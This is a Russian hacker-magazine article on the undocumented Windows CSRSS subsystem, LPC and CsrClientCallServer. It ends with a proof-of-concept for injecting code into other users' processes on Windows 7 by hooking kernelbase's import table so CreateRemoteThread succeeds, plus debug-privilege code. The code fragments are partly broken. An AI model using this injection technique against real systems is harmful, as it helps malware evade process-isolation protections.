Существует такая аксиома: чем больше недокументирована какая-нибудь часть Windows, тем больше разработчики Microsoft не хотят, чтобы ее использовали разработчики программного обеспечения. Причина как всегда банальна – недокументированные возможности позволяют вытворять с системой жуткие вещи!

Тем не менее в среде программистов бытует мнение, что, несмотря на полную недокументированность подсистемы ввода-вывода CSRSS, ничего интересного она из себя не представляет, как с точки зрения прикладного кодинга, так и с точки зрения разработки малвари. Да, приходится признать, что даже вирусам и руткитам она неинтересна. За исключением, пожалуй, знаменитого червя Nimda. Хотя, постой, еще существует способ детекта скрытых процессов возможностями CSRSS… В общем, CRRSS не так прост и бесполезен, как кажется некоторым несознательным гражданам. Положим его на наш операционный стол и узнаем, чем же он может быть полезен настоящему хакеру.

 

Введение

Подсистема CSRSS – client/server run-time subsystem (клиент-серверная подсистема) – это часть исполнительной подсистемы Windows, которая отвечает за консольные приложения, создание/удаление потоков и за 16-битную виртуальную среду MS-DOS. Это мы знаем, но, к сожалению, на этом вся документированность CSRSS заканчивается.

Наверное, это один из самых загадочных кирпичиков Windows. И это не только загадочный, но и чувствительный кирпичик, так как процесс CSRSS.EXE – единственный, которому присваивается эпитет «критичный», и вмешательство в его нормальное исполнение грозит крахом всей системы. Упомяну такую деталь – на весь (!) зоопарк BSOD’ов, который только может сгенерировать ядро Windows, только два багчека: 0x0000004C (FATAL_UNHANDLED_HARD_ERROR) и 0xC000021A (STATUS_SYSTEM_PROCESS_TERMINATED) происходят при крахе его юзермодных процессов – это процессы winlogon.exe и csrss.exe. Без этих двух процессов Windows существовать не может. И самое печальное – во втором случае, если будет установлено, что причиной «синего экрана» стал отказ csrss.exe (как правило, в результате действия малвари), то это будет фатальный случай, приводящий к переустановке системы (или ее аварийному восстановлению).

CSRSS берет свои настройки не из реестра, как может показаться на первый взгляд, а из командной строки, которая выглядит примерно так:

%SystemRoot%system32csrss.exe ObjectDirectory=Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16

В общем, на мой взгляд, основная задача CSRSS все-таки заключается в своеобразном контроле над созданием и уничтожением процессов и потоков. А раз так, то нельзя недооценивать те возможности, которые в нем скрыты.

 

LPC, или Local Procedure Calls

Перед тем, как углубиться в дебри CsrApi, давай посмотрим в сторону механизма LPC, созданного в Windows для реализации межпроцессного взаимодействия. Почему именно на него? Все дело в том, что CSRSS реализует свой собственный протокол поверх LPC. LPC часто называют Local InterProcess Communication. Я, к сожалению, не знаю, как на самом деле расшифровывается LPC, но раз на MSDN-блогах LPC зовут Local Procedure Calls, значит, так тому и быть.

Как уже было сказано выше, LPC – это недокументированный механизм Windows, предназначенный для взаимодействия между процессами и потоками, основанный на приеме/передаче пакетов. Это взаимодействие может происходить как целиком в ядре, так и между юзермодными компонентами.

Суть LPC предельно проста – коммуникация между участниками взаимодействия (клиентом и сервером) осуществляется путем передачи блоков данных (так называемых сообщений LPC) . Клиентом может быть поток или процесс, и исполняться они могут на разных ring-уровнях, как в ядре (r0), так и простым пользовательским приложением (r3).

Основывается он на двух вещах – портах и внутренних LPC-структурах, таких как PORT_MESSAGE. Логически LPC состоит из двух действий – коннекта к определенному порту (NtCreatePort, NtConnectPort, NtListenPort и т.д.) и передаче данных (NtRequestWaitReplyPort и др.).

 

CsrClientCallServer – вот где собака порылась!

Среди всех используемых CsrApi-функций наиболее часто можно встретить CsrClientCallServer. Перекрестные ссылки на нее можно увидеть в таких функциях, как kernel32!CreateProcess, kernel32!AllocConsole, kernel32!FreeConsole, user32!EndTask и десятках других. Если мы взглянем на нее под микроскопом IDA, то увидим, что каждый раз, когда вызывается CsrClientCallServer, в стек заталкивается какое-то уникальное число, меняющееся от функции к функции:

.text:77E96D55 PUSH 4
.text:77E96D57 PUSH 20225h // <====== вот это число
.text:77E96D5C MOV [EBP+var_7C], EAX
.text:77E96D5F PUSH 0
.text:77E96D61 LEA EAX, [EBP + var_A4]
.text:77E96D67 PUSH EAX
.text:77E96D68 CALL DS:__imp__CsrClientCallServer@16

Это загадочное число – не что иное, как индекс указателя специальной функции, определенной в библиотеках, используемых подсистемой CSRSS. То есть специальная процедура, называемая CsrApiRequestThread, исполняется в контексте отдельного потока в csrss.exe, ответственного за прием запросов от пользовательской подсистемы. Она обрабатывает его через соответствующие диспетчерские таблицы CSRSS и возвращает результат.

Что интересного может дать использование функций CsrApi в интересах программиста? Много чего, например, можно организовать прямой распил консоли, так как подсистема CSRSS напрямую отвечает за консоль в Windows.

int main(int argc, char* argv[])
{
NTSTATUS Status;
CSR_API_MSG m;
CONSOLE_TITLE_MSG * consoleTitleMes = &m.u.ConsoleTitle;
CSR_CAPTURE_HEADER * сaptureBuffer;

    consoleTitleMes->ConsoleHandle=GetConsoleHandle();
consoleTitleMes->TitleLen=260;
consoleTitleMes->Unicode=0;

    CaptureBuffer=(CSR_CAPTURE_HEADER *)CsrAllocateCaptureBuffer(1, consoleTitleMes->TitleLen);

CsrCaptureMessageBuffer(CaptureBuffer, NULL, consoleTitleMes->TitleLen, (PVOID *)&consoleTitleMes->Title);

    CsrClientCallServer((PCSR_API_MSG)&m, CaptureBuffer, CSR_MAKE_API_NUMBER(CONSRV_SERVERDLL_INDEX, CONSRV_FIRST_API_NUMBER+38), sizeof(m));
printf("ConsoleTitle is : %sn", m.u.ConsoleTitle.Title);


return 0;
}

К сожалению, рамки статьи не позволяют описать все аспекты использования CsrApi-функций в повседневной жизни программиста, поэтому сейчас мы перейдем непосредственно к теме сегодняшней статьи.

 

Что дальше?

Итак, что же мы нашли при распиле CSRSS? В смысле, с хакерской точки зрения. Ни много, ни мало – инжект кода в Windows 7. Как ты знаешь, разработчики Windows 7 сильно потрудились над безопасностью процессов в системе – теперь просто так выполнить CreateRemoteThread в чужой процесс не удастся. Да, приходится признать, что дяденьки из Microsoft постарались на славу, отрубив мегакулхацкерам любимый способ инжекта кода. При попытке вызова CreateRemoteThread с хэндлом процесса другого пользователя, мы обламываемся, и функция возвращает нам NULL с кодом ошибки ERROR_NOT_ENOUGH_MEMORY.
Но ведь и про старуху бывает порнуха :).

Конечно, существуют в природе способы инжекта с использованием RtlCreateUserThread (подробнее об этом можно прочитать здесь), но мы не будем его рассматривать; желающие могут поэкспериментировать сами. Не зря мы сегодня завели разговор про CSRSS, ведь именно с помощью ее возможностей можно очень даже неплохо вернуть утраченный status quo и получить возможность инжекта кода в чужие процессы. Концепция нашего PoC проста.

Дело в том, что успешность вызова CreateRemoteThread зависит от системной функции CsrClientCallServer, которая фактически обрабатывает этот запрос. Она следит за выполнением, но сама удаленный поток не создает. Вызов CreateRemoteThread сводится к системной функции NtCreateThreadEx, которая создаст поток с флагом CREATE_SUSPENDED, однако дальнейшее развитие ситуации будет зависеть от успешности вызова функции подсистемы CSRSS – CsrClientCallServer. Ничего интересного в голову не приходит? 🙂 Все, что нам нужно – это сделать так, чтобы при создании удаленного потока CsrClientCallServer всегда возвращала успешное значение. И будет тебе счастье.

Смотрим на дизассемблированную kernelbase.dll (это аналог kernel32.dll в Windows 7, если ты не знал):

kernelbase.dll
.text:7597BD24 6A 0C PUSH 0C
.text:7597BD26 68 01000100 PUSH 10001
.text:7597BD2B 53 PUSH EBX
.text:7597BD2C 8D85 F0FDFFFF LEA EAX, DWORD PTR SS:[EBP-210]
.text:7597BD32 50 PUSH EAX
.text:7597BD33 FF15 00129775 CALL NEAR DWORD PTR DS:[<&ntdll.CsrClientCallServer>] ; ntdll.CsrClientCallServer
.text:7597BD39 8B85 10FEFFFF MOV EAX, DWORD PTR SS:[EBP-1F0]
.text:7597BD3F 8985 E8FDFFFF MOV DWORD PTR SS:[EBP-218], EAX
.text:7597BD45 399D E8FDFFFF CMP DWORD PTR SS:[EBP-218], EBX
.text:7597BD4B 0F8C 13D80100 JL KERNELBA.75999564

Нам нужно найти в памяти kernelbase.dll, просканировать таблицу импорта, найти адрес импортируемой функции CsrClientCallServer и подменить его новым указателем на заранее подготовленную функцию CsrClientCallServer, которая всегда будет возвращать «успех». Сделать это легко. Смотрим:

ULONG NewCsrClientCallServer(PVOID Arg1, PVOID Arg2, ULONG Arg3, ULONG Arg4)
{
*( DWORD *)(( BYTE *)Arg1 + 0x20 ) = 0;
return 0;
}

...
DWORD ImportAddress, OriginalCsrClientCallServer, OldProtect;
ImportAddress = GetImportAddressFromIat(GetModuleHandle("kernelbase.dll"), "CsrClientCallServer");
VirtualProtect(( VOID ) ImportAddress, sizeof(DWORD), PAGE_EXECUTE_READWRITE, &OldProtect);
OriginalCsrClientCallServer = *(DWORD
)ImportAddress;
(DWORD)ImportAddress=(DWORD)NewCsrClientCallServer;
...

И все! Раз, раз, раз – и… мы в дамках! Теперь наша новая функция CsrClientCallServer будет возвращать «success», что, собственно, и нужно для успешного запуска CreateRemoteThread. Кстати, такой подход довольно оригинален: вместо того, чтобы искать способы выполнения своего кода, писать (или покупать) 0day-эксплойты, повышающие права, искать новые уязвимости в системе и т.д., иногда бывает просто нужно переписать один байт. Самое главное – знать, где 🙂

В заключение только добавлю, что для успешного выполнения такого кода нужны дебаг-привилегии, которые подрубаются примерно таким образом:

unsigned long GetDebugPrivileges()
{
TOKEN_PRIVILEGES tokenPrvlgs;

    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
return error;

if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tokenPrvlgs.Privileges[0].Luid))
return error;

tokenPrvlgs.PrivilegeCount = 1;
tokenPrvlgs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &tokenPrvlgs, 0, NULL, NULL))
{
return error;
}

CloseHandle( hToken );
return success;
}

Вот и все, что я хотел донести до тебя. Не так страшна Windows 7, как ее раскрашивают. Код, который делает все вышеизложенное, как всегда, ищи на диске. Удачного компилирования, и да пребудет с тобой Сила!

P.S. Осторожнее в экспериментах с CSRSS! А то систему жалко :).

 

CD

На компакт-диске ты найдешь реализацию описанных в статье приемов на С.

 

WWW

Не ленись читать MSDN – несмотря на бытующее в определенных кругах пренебрежительное отношение к данному сайту, чтение его статей позволяет устранить до 99% ошибок, возникающих при использовании WinAPI.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии